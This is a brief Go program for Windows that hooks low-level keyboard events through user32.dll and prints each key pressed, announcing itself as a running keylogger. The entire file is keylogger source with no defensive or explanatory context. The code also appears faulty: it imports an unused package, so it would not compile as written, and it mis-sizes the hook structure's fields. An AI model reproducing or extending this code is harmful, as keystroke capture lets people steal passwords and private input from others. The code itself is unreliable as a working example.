package main
import (
"fmt"
"os"
"syscall"
"unsafe"
)
const (
whKeyboardLl = 13
keyDownEvent = 0x0100
)
var (
user32 = syscall.NewLazyDLL("user32.dll")
setWindowsHook = user32.NewProc("SetWindowsHookExW")
getMessage = user32.NewProc("GetMessageW")
callNextHook = user32.NewProc("CallNextHookEx")
unhook = user32.NewProc("UnhookWindowsHookEx")
)
type kbdHookStruct struct {
vkCode uintptr
scanCode uintptr
flags uintptr
time uintptr
dwExtraInfo uintptr
}
func main() {
hookID, _, _ := setWindowsHook.Call(whKeyboardLl, syscall.NewCallback(kbProc), 0, 0)
defer unhook.Call(hookID)
fmt.Println("Keylogger is running. Press Enter to exit.")
getMessage.Call(0, 0, 0, 0)
}
func kbProc(nCode int, wParam uintptr, lParam uintptr) uintptr {
if nCode >= 0 && wParam == keyDownEvent {
kbd := (*kbdHookStruct)(unsafe.Pointer(lParam))
fmt.Printf("Key pressed: %c\n", kbd.vkCode)
}
return callNextHook.Call(0, uintptr(nCode), wParam, lParam).Uintptr()
}